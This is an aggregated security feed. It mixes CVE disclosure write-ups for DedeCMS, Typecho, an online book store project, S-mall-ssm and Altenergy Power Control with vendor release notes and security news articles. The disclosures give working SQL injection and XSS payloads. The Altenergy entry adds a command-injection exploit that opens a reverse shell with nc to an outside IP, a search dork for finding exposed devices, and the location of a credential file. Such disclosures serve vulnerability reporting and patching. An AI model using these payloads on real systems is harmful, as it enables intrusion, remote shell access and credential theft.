SQL injection vulnerability found in DedeCMS v.5.7.106 allows a remote attacker to execute arbitrary code via the rank_* parameter in the /dede/group_store.php endpoint.

**Description**

Admin backend group store blind SQL injection via post parameters.

**Affected Version**

DedeCMS <= 5.7.160

**POC**

1.  Login to admin backend management.
2.  Request to /dede/group_store.php with GET parameter action=uprank and POST parameters rank_1=1'+and+sleep(3)+and+'1, this payload will lead to a time-based SQL injection.
3.  In the source code of /dede/group_store.php, when the GET parameter action is uprank, the POST value which the key contains rank_ will be directly joined into the update SQL statement, which lead to SQL update injection, finally the joint statement will be passed through mysqli_query, but this function only return boolean value when the query string is an update statement, that is why this is a blind injection.

Full POC request:

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  

POST /cms/dedecms/dede/group\_store.php?action=uprank HTTP/1.1  
Host: 192.168.0.8  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: menuitems=1\_1%2C2\_1%2C3\_1; PHPSESSID=k5ten9v1ljuogh8pjae2idof0b; \_csrf\_name\_273c7533=e59946ea73ad488a9da6a03897480ac5; \_csrf\_name\_273c75331BH21ANI1AGD297L1FF21LN02BGE1DNG=6c93980ce4934236; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=0462031c83e0ae08; DedeLoginTime=1677428501; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=d9cb1c6293c6c17e; ENV\_GOBACK\_URL=%2Fcms%2Fdedecms%2Fdede%2Fgroup\_store.php  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 29  
  
rank\_1\=1'+and+sleep(3)+and+'1  

**Reference**

> Reported by Srpopty, vulnerability discovered by using Corax.

CVE-2023-27707: DedeCMS V5.7.160 Backend Blind SQL Injection

Cross Site Scripting vulnerability found in Typecho v.1.2.0 allows a remote attacker to execute arbitrary code via an arbitrarily supplied URL parameter.

**Typecho <= 1.2.0 Admin System with Reflected-XSS****Influenced Version**

Typecho <= 1.2.0

**Description**

Typecho admin backend management system with reflected-XSS in the name of an arbitrarily supplied URL parameter.

1.  Login to typecho admin backend management system, in "/admin/index.php", "admin/themes.php" or "/admin/backup.php".
2.  In the name of an arbitrarily supplied URL parameter, no matter key or value, will be injected to a html href attribute of <a> tag.

**POC**

    GET /typecho/admin/?"><script>alert(1)</script><!--bbb=1 HTTP/1.1
    Host: 192.168.0.10
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: http://192.168.0.10/typecho/admin/login.php?referer=http%3A%2F%2F192.168.0.10%2Ftypecho%2Fadmin%2Findex.php%3Fr7ptu%2522%253E%253Cscript%253Ealert%281%29%253C%2Fscript%253Eat2f7%3D1
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: e4dff44224c23efabc177d44e50b1de4__typecho_uid=1; e4dff44224c23efabc177d44e50b1de4__typecho_authCode=%24T%248O0qulQf98a49e06253d4ae8c93f478424457be4b; PHPSESSID=m7h7isuus6cugk6mb58vdah296
    Connection: close
    
    

/admin/index.php

/admin/theme.php

/admin/backup.php

> Reported by Srpopty, vulnerability discovered by using Corax.

CVE-2023-27130: Typecho <= 1.2.0 Admin System with Reflected-XSS Vulnerability · Issue #1535 · typecho/typecho

Online Book Store Project v1.0 is vulnerable to SQL Injection via /bookstore/bookPerPub.php.

Permalink

**Online Book Store Project v1.0 by itsourcecode.com has SQL injection**

**Vul\_Author:** Wenxun Wang

**vendors:** https://itsourcecode.com/free-projects/php-project/online-book-store-project-in-php-with-source-code/

**Vulnerability url:** /bookstore/bookPerPub.php?pubid=

**Vulnerability location:** /bookstore/bookPerPub.php

**\[+\] Payload:** /bookstore/bookPerPub.php?pubid=1'%20and%20(extractvalue('anything'%2cconcat('~'%2c(select%20database()))))%3b%23

​ Leak place : pubid

**Current database name:** bookstoredb

**Request package**：select book information by pubid

    GET /bookstore/bookPerPub.php?pubid=1'%20and%20(extractvalue('anything'%2cconcat('~'%2c(select%20database()))))%3b%23 HTTP/1.1
    Host: localhost
    sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost/bookstore/publisher_list.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=8it4g868ibt9g6r8ae4203tmkd
    Connection: close
    

**SQL injection result**：line 12 database name is displayed.

CVE-2023-27250: bug_report/sql_injection.md at main · iknownt/bug_report

Broken access control in Advanced Authentication versions prior to 6.4.1.1 and 6.3.7.2

March 2023

Advanced Authentication 6.4 Service Pack 1 Patch 1 includes enhancements, and resolves several previous issues.

Many of these improvements were made in direct response to suggestions from our customers. We thank you for your time and valuable input. We hope you continue to help us ensure that our products meet all your needs. You can post feedback in the Advanced Authentication forum on NetIQ Communities, our online community that also includes product information, blogs, and links to helpful resources. You can also post or vote for the ideas of enhancement requests in the Ideas forum.

For more information about this release and the latest release notes, see the NetIQ Advanced Authentication Documentation page.

If you have suggestions for documentation improvements, click at the bottom of the specific page in the HTML version of the documentation posted at the NetIQ Advanced Authentication Documentation page.

**1.0 What’s New?**

Advanced Authentication 6.4 Service Pack 1 Patch 1 provides the following:

*   Enhancements
    
*   Security Improvement
    

**1.1 Enhancements**

Advanced Authentication 6.4 Service Pack 1 Patch 1 includes the following enhancements:

*   FIDO2 Improvements
    
*   Ability to Add Twilio Subaccounts in the SMS Sender Policy
    
*   An Option to Allow Third-Party Service Providers to Select the Chain for Any Client
    

**FIDO2 Improvements**

The following enhancements have been added to the FIDO2 method:

*   Ability to Enroll Resident Credentials
    
    The administrator can allow users to enroll the FIDO2 method and store the Resident Credentials (security key) on the FIDO2-compliant device (YubiKey). With Resident Credentials, users can experience seamless login without specifying their username and password.
    
*   Username-less Login Support
    
    Advanced Authentication extends the FIDO2 method to support the username-less authentication to the Web Authentication events. The enrolled FIDO2 card contains the username. When the user taps the card, the username is filled in the respective field automatically. To configure the username-less authentication, three options have been introduced in the FIDO2 method.
    
*   Ability to Disable the PIN Prompt
    
    Advanced Authentication facilitates the administrator to mandate or hide the PIN prompt when users enroll, test and authenticate with the FIDO2 method.
    
    For more information, see FIDO2 in the Advanced Authentication - Administration guide.
    

**Ability to Add Twilio Subaccounts in the SMS Sender Policy**

This release provides ability to add the subaccounts of Twilio Parent account. With subaccounts, you can add Country Codes based on the customer’s (SMS receivers) geographic location. The subaccounts distinguish the usage based on team, customer or product, and provides clear billing data. Also, allows resource (phone number) mapping.

For more information, see SMS Sender in the Advanced Authentication - Administration guide.

**An Option to Allow Third-Party Service Providers to Select the Chain for Any Client**

This release introduces the option in the policy to allow the third-party service providers to select a preferred chain for any client, such as Windows Client, Mac OS X Client, and Linux PAM Client workstation. Then, route users to the selected chain during authentication.

For more information, see Enabling the Client Chain Selection in the Advanced Authentication - Administration guide.

**1.2 Security Improvement**

Advanced Authentication 6.4 Service Pack 1 Patch 1 release addresses CVE-2023-24468.

**2.0 Resolved Issues**

This release includes the following software fixes:

Component

Description

Administration

When a user sets to in the policy, then the list in the does not display all the available chains.

Administration

On the , enrollment of the U2F method fails on the following browser:

*   Google Chrome
    
*   Microsoft Edge
    
*   Mozilla Firefox
    

Administration

The option is modified to in the policy.

Administration

The option is modified to in the method.

Smartphone

When a user tries to authenticate with the method, a prompt to specify the PIN (User Verification) is not displayed on the Android devices.

Smartphone

When a user attempts to authenticate with the NetIQ Advanced Authentication iOS smartphone application by using the facial recognition, the application does not identify the face and prompts the user to re-authenticate. Users are experiencing infinite authentication loop.

Smartphone

When a user sets the option to in the NetIQ Advanced Authentication iOS smartphone application settings for face recognition authentication. Later, the user is unable to set the option to .

Smartphone

When a user sets the smartphone language to Arabic, the NetIQ Advanced Authentication iOS smartphone application stops working.

Windows Client

While connecting to the remote desktop on the Windows Client, the Advanced Authentication Credential Provider does not display the chains that require Device Service for the elevated access.

**3.0 Upgrading**

You can directly upgrade to Advanced Authentication 6.4 Service Pack 1 Patch 1 from 6.4.1.

_NOTE:_The following is the recommended upgrade sequence:

1.  Advanced Authentication servers
    
2.  Plug-ins
    
3.  Client components
    
    Any change in the upgrade sequence is not supported.
    

_NOTE:_The RAM requirements of Advanced Authentication have been changed in 6.4 as follows:

*   Minimum: 8 GB per server.
    
*   Recommended: 12 GB per server
    

Before upgrading your Advanced Authentication cluster to 6.4, ensure that the environment complies with the new requirements.

For more information, see Advanced Authentication System Requirements.

**4.0 Known Issue**

Advanced Authentication 6.4 Service Pack 1 Patch 1 does not have any known issue.

**5.0 Contact Information**

Our goal is to provide documentation that meets your needs. If you have suggestions for improvements, please email Documentation-Feedback@netiq.com. We value your input and look forward to hearing from you.

For detailed contact information, see the Support Contact Information website.

For general corporate and product information, see the NetIQ Corporate website.

For interactive conversations with your peers and NetIQ experts, become an active member of our community. The NetIQ online community provides product information, useful links to helpful resources, blogs, and social media channels.

**6.0 Legal Notice**

© Copyright 2023 Micro Focus or one of its affiliates.

The only warranties for products and services of Micro Focus and its affiliates and licensors (“Micro Focus”) are as may be set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an additional warranty. Micro Focus shall not be liable for technical or editorial errors or omissions contained herein. The information contained herein is subject to change without notice.

For additional information, such as certification-related notices and trademarks, see https://www.microfocus.com/en-us/legal.

CVE-2023-24468: Advanced Authentication 6.4 Service Pack 1 Patch 1 Release Notes

Cross site scripting (XSS) vulnerability in xenv S-mall-ssm thru commit 3d9e77f7d80289a30f67aaba1ae73e375d33ef71 on Feb 17, 2020, allows local attackers to execute arbitrary code via the evaluate button.

**How to reproduce steps(如何复现)**

Build the project and use admin/123456 to log in and create several test data(搭建项目使用admin/123456登陆创建几条测试数据)  
  
Create an ordinary user and click on a product we created to buy(创建一个普通用户随便点击一个我们创建的商品购买)  
For the convenience of testing, a free purchase function is provided. Click it(为了方便测试提供了一个免费购买的功能,)  
  
First, check my own order, then select the order we just purchased, click to ship by yourself, and finally click to confirm receipt(首先查看我自己的订单其次选择我们刚才购买的订单点击自己发货最后点击确认收货)  
  
Use the evaluation function,insert poc <script>alert("undefined123")</script> (使用评价功能,插入poc)  

**受影响的版本**

S-mall-ssm: lastest  
OS：Windows/Linux/macOS  
Browser: Chrome、Firefox、Safair

CVE-2023-26912: Stored xss vulnerability exists in order evaluation(订单评价存在XSS漏洞) · Issue #37 · xenv/S-mall-ssm

By Owais Sultan
Stellar Cyber, the company that recently made headlines as one of the “10 Hot XDR Security Companies You…
This is a post from HackRead.com Read the original post: Stellar Cyber Launches InterSTELLAR Partner Program for Open XDR Solutions

Stellar Cyber, the company that recently made headlines as one of the “10 Hot XDR Security Companies You Should Watch In 2023” by CRN Magazine, has launched a new program aimed at resellers of their Open XDR platform.

The InterSTELLAR Partner Program is designed to fast-track the growth of Stellar Cyber’s reseller partners by enabling them to become proficient and compete for a share of the XDR technology market, which Gartner predicts will be a top priority for CISOs in 2023.

The program, which includes both 5-STAR and STAR levels, rewards partners with lead sharing, Market Development Funds (MDFs), SPIFF programs, and a partner portal that offers a range of sales tools, campaign ideas, and other resources.

Reseller partners at the 5-STAR level, which engage more deeply with Stellar Cyber and its Open XDR platform, will have access to additional benefits such as SDR resources, a white-glove enablement team, participation in the Stellar Cyber University Partnership Program, and access to a network of MSSPs for fully and/or co-managed security services.

According to Randy Johnston, Vice President of Channels at Stellar Cyber, the InterSTELLAR Partner Program is focused on delivering the Open XDR platform effectively through innovative enablement resources including education, training, and go-to-market support to ensure that the company’s partners can accelerate pipeline creation.

Distributors and resellers have expressed their enthusiasm for the program, with many citing its simplicity and focus on delivering real value to customers as the key factors that will enable them to grow their businesses.

“The opportunity around cybersecurity-as-a-service continues to grow, and demand for XDR is on the rise as more and more companies look to channel partners to help them become more secure and digitally fit,” said Don Scott, Director, Emerging Business Group, Advanced Solutions, Ingram Micro.

Stellar Cyber’s InterSTELLAR Partner Program has been designed to offer unique value to the SLED segment, giving partners better security outcomes with an Open XDR solution that is packaged for their skill sets, according to Rebecca Reese, Sales Director at Presidio.

Kelly Leazenbee, Vice President of Strategic Alliances at Sayers, expressed her excitement about working with Stellar Cyber and becoming a 5-STAR InterSTELLAR partner, stating that the program helps them deliver world-class solutions and services, which will enable them to continue meeting the needs and priorities of their customers.

“We are thrilled about being a 5-STAR InterSTELLAR partner as we aggressively move into cybersecurity services and Open XDR,” said Jeff Kremer, Manager, Business Development/Partner Management at Pomeroy. “The program helps train our people and ensures that we offer real value to our customer base, which in turn means we are seeing faster ROI. This is why we will be winning new business with Stellar Cyber in 2023.”

Overall, the InterSTELLAR Partner Program is a key initiative by Stellar Cyber to support its reseller partners in delivering world-class cybersecurity solutions to their customers. To learn more about the program, interested parties can visit the Stellar Cyber website here.

1.  Trust Wallet’s Browser Extension Wallet for Desktop
2.  ProtonVPN launches Chrome and Firefox extensions
3.  Ankr Launches Chainscanner Blockchain Explorer Tool
4.  Security Firm Cirotta Launches Anti-Hacking Phone Cases

Owais takes care of Hackread's social media from the very first day. At the same time He is pursuing for chartered accountancy and doing part time freelance writing.

Stellar Cyber Launches InterSTELLAR Partner Program for Open XDR Solutions

Microsoft's Patch Tuesday update for March 2023 is rolling out with remediations for a set of 80 security flaws, two of which have come under active exploitation in the wild.
Eight of the 80 bugs are rated Critical, 71 are rated Important, and one is rated Moderate in severity. The updates are in addition to 29 flaws the tech giant fixed in its Chromium-based Edge browser in recent weeks.
The

Patch Tuesday / Software Update

Microsoft's Patch Tuesday update for March 2023 is rolling out with remediations for a set of 80 security flaws, two of which have come under active exploitation in the wild.

Eight of the 80 bugs are rated Critical, 71 are rated Important, and one is rated Moderate in severity. The updates are in addition to 29 flaws the tech giant fixed in its Chromium-based Edge browser in recent weeks.

The two vulnerabilities that have come under active attack include a Microsoft Outlook privilege escalation flaw (CVE-2023-23397, CVSS score: 9.8) and a Windows SmartScreen security feature bypass (CVE-2023-24880, CVSS score: 5.1).

CVE-2023-23397 is "triggered when an attacker sends a message with an extended MAPI property with a UNC path to an SMB (TCP 445) share on a threat actor-controlled server," Microsoft said in a standalone advisory.

A threat actor could leverage this flaw by sending a specially crafted email, activating it automatically when it is retrieved and processed by the Outlook client for Windows. As a result, this could lead to exploitation without requiring any user interaction and before even the message is viewed in the Preview Pane.

Microsoft credited the Computer Emergency Response Team of Ukraine (CERT-UA) with reporting the flaw, adding it is aware of "limited targeted attacks" mounted by a Russia-based threat actor against government, transportation, energy, and military sectors in Europe.

CVE-2023-24880, on the other hand, concerns a security bypass flaw that could be exploited to evade Mark-of-the-Web (MotW) protections when opening untrusted files downloaded from the internet.

It is also the consequence of a narrow patch released by Microsoft to resolve another SmartScreen bypass bug (CVE-2022-44698, CVSS score: 5.4) that came to light last year and which was exploited by financially motivated actors to deliver Magniber ransomware.

"Vendors often release narrow patches, creating an opportunity for attackers to iterate and discover new variants," Google Threat Analysis Group (TAG) researcher Benoit Sevens said in a report.

"Because the root cause behind the SmartScreen security bypass was not addressed, the attackers were able to quickly identify a different variant of the original bug."

TAG said it observed over 100,000 downloads of malicious MSI files signed with malformed Authenticode signature since January 2023, thereby permitting the adversary to distribute Magniber ransomware without raising any security warnings. A majority of those downloads have been associated with users in Europe.

The disclosure also comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added the two flaws to the Known Exploited Vulnerabilities (KEV) catalog and announced a new pilot program that aims to warn critical infrastructure entities about "vulnerabilities commonly associated with known ransomware exploitation."

Also closed out by Microsoft are a number of critical remote code execution flaws impacting HTTP Protocol Stack (CVE-2023-23392, CVSS score: 9.8), Internet Control Message Protocol (CVE-2023-23415, CVSS score: 9.8), and Remote Procedure Call Runtime (CVE-2023-21708, CVSS score: 9.8).

Other notable mentions include patches for four privilege escalation bugs identified in the Windows Kernel, 10 remote code execution flaws affecting Microsoft PostScript and PCL6 Class Printer Driver, and a WebView2 spoofing vulnerability in the Edge browser.

WEBINAR

Discover the Hidden Dangers of Third-Party SaaS Apps

Are you aware of the risks associated with third-party app access to your company's SaaS apps? Join our webinar to learn about the types of permissions being granted and how to minimize risk.

RESERVE YOUR SEAT

Elsewhere, Microsoft also closed out two information disclosure flaws in Microsoft OneDrive for Android, one spoofing vulnerability in Office for Android, one security bypass bug in Microsoft OneDrive for iOS, and one privilege escalation issue in OneDrive for macOS.

Rounding off the list are patches for two high-severity vulnerabilities in the Trusted Platform Module (TPM) 2.0 reference library specification (CVE-2023-1017 and CVE-2023-1018, CVSS scores: 8.8) that could lead to information disclosure or privilege escalation.

**Software Patches from Other Vendors**

Aside from Microsoft, security updates have also been released by other vendors since the start of the month to rectify several vulnerabilities, including —

*   Adobe
*   Android
*   Apache Projects
*   Aruba Networks
*   Cisco
*   Citrix
*   CODESYS
*   Dell
*   Drupal
*   F5
*   Fortinet
*   GitLab
*   Google Chrome
*   IBM
*   Jenkins
*   Lenovo
*   Linux distributions Debian, Oracle Linux, Red Hat, SUSE, and Ubuntu
*   MediaTek
*   Mozilla Firefox, Firefox ESR, and Thunderbird
*   NETGEAR
*   NVIDIA
*   Qualcomm
*   Samba
*   Samsung
*   SAP
*   Schneider Electric
*   Siemens
*   SonicWall
*   Sophos
*   Synology
*   Trend Micro
*   Veeam
*   Zoho, and
*   Zoom

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Microsoft Rolls Out Patches for 80 New Security Flaws — Two Under Active Attack

Organizations will likely have until the end of 2024 to gain visibility and control over their keys and certificates.

Google is proposing to reduce the life span of digital certificates used to secure websites and other online communications to just 90 days. Currently, public Transport Layer Security (TLS) certificates have a maximum validity of 13 months, or 398 days.

Certificate authorities issue TLS certificates (also called Secure Socket Layer, or SSL, certificates) with an expiration date. The life span of these certificates have been shrinking over the last few years, since frequently cycling them makes it harder for attackers to use fraudulent certificates.

In the Chromium Project's “Moving Forward, Together” roadmap, Google suggested the change to 90 days could be made either in the form of a future policy update or as a CA/B Forum Ballot Proposal. If the CA/B Forum, a consortium of browser makers, certificate authorities, and other stakeholders in the digital certificate ecosystem, doesn't formally make 90 days the industry standard, Google can unilateral force this change on the industry by making the shorter validity period a requirement for the Chrome root program. Browsers control their own root program requirements, so browser makers don't have to wait for formal rule changes from the CA/B Forum. By virtue of Chrome's market share, if Google makes this change for Chrome, that makes it a de facto standard that every commercial public certificate authority would have to follow.

The impact goes beyond browser makers and certificate authorities as organizations will need to renew their digital certificates more often. The process, if handled manually, can be a brittle process, as it involves identifying certificates about to expire, getting new ones issued, revoking the old ones, and deploying the new certificates. With the new validity period, IT security teams will have to handle renewals four times a year for each certificate -- an arduous task considering most enterprises have many certificates and that number is growing rapidly.

Google did not provide a specific timeline in its roadmap but based on how the changes have unfolded in the past, the new validity period will likely take effect by the end of 2024, which gives organizations time to gain visibility and control over their keys and certificates.

Keep up with the latest cybersecurity threats, newly-discovered vulnerabilities, data breach information, and emerging trends. Delivered daily or weekly right to your email inbox.

Subscribe

Google Proposes Reducing TLS Cert Life Span to 90 Days

OS command injection affects Altenergy Power Control Software C1.2.5 via shell metacharacters in the index.php/management/set_timezone timezone parameter, because of set_timezone in models/management_model.php.

Permalink

Cannot retrieve contributors at this time

**title : OS command injection affects "Altenergy Power Control Software"****SW ver : C1.2.5****Vendor : https://apsystems.com/****Google Dork : intitle:"Altenergy Power Control Software"****Affected device : ENERGY COMMUNICATION UNIT**

**vulnerable code :**

"/home/local\_web/pagesapplication/models/management\_model.php"

   public function set\_timezone()
    {
        $results = array();

        //ΦÄ╖σÅûΘí╡Θ¥óΘÇëµï⌐τÜäµù╢σî║
        $timezone = $this\->input\->post('timezone');
        if(strlen($timezone) == 0)
                $timezone = "Asia/Taipei";

        //Φ«╛τ╜«linuxτ│╗τ╗ƒµù╢σî║
        $cmd = "cp /usr/share/zoneinfo/$timezone /etc/localtime";
        system($cmd);

        //σ░åµù╢σî║Σ┐¥σ¡ÿσê░Θàìτ╜«µûçΣ╗╢
        $fp = @fopen("/etc/yuneng/timezone.conf",'w');
        if($fp){
            fwrite($fp, $timezone);
            fclose($fp);
        }

**Exploit :**

HTTP request :

    POST /index.php/management/set_timezone HTTP/1.1
    Host: 78.218.230.32:8081
    Content-Length: 33
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://78.218.230.32:8081
    Referer: http://78.218.230.32:8081/index.php/management/datetime
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    
    timezone=`mknod /tmp/backpipe p `
    

HTTP request :

    POST /index.php/management/set_timezone HTTP/1.1
    Host: 78.218.230.32:8081
    Content-Length: 73
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://78.218.230.32:8081
    Referer: http://78.218.230.32:8081/index.php/management/datetime
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    
    timezone=`/bin/sh 0</tmp/backpipe | nc 156.197.154.12 4444 1>/tmp/backpipe`
    
    

POC :

\*\* note \*\*

*   please use the following command after getting shell to avoid distorying the WEBUI.  
    "echo Asia/Taipei > /etc/yuneng/timezone.conf"

**Important files to check :**

*   /etc/yuneng/passwd.conf this file contains the credentials for the WebUI.

CVE-2023-28343: Disclosures/os_command_injection.md at main · ahmedalroky/Disclosures

Microsoft Edge (Chromium-based) Webview2 Spoofing Vulnerability

Tag

#chrome